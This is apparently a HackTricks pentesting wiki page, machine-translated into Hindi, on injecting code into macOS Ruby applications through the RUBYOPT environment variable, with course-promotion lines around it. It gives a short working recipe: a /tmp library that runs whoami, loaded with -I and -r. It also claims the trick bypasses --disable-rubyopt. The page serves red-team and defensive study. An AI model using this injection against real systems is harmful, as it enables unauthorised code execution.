macOS Ruby Applications Injection

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

RUBYOPT

इस env वेरिएबल का उपयोग करके जब भी ruby निष्पादित होती है तो उसमें नए पैरामीटर्स जोड़ना संभव है। हालांकि पैरामीटर -e का उपयोग ruby कोड निष्पादित करने के लिए नहीं किया जा सकता, पैरामीटर्स -I और -r का उपयोग करके लाइब्रेरीज के लोड पथ में एक नया फोल्डर जोड़ना और फिर लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना संभव है।

/tmp में लाइब्रेरी inject.rb बनाएं:

inject.rb
puts `whoami`

कहीं भी एक रूबी स्क्रिप्ट बनाएं जैसे:

hello.rb
puts 'Hello, World!'

फिर एक मनमानी रूबी स्क्रिप्ट बनाएं और इसे लोड करें:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

मजेदार तथ्य, यह पैरामीटर --disable-rubyopt के साथ भी काम करता है:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated